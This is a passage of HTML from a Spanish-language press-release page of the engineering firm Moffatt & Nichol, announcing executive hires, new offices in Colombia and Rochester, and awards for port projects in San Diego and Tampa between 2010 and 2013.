Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura 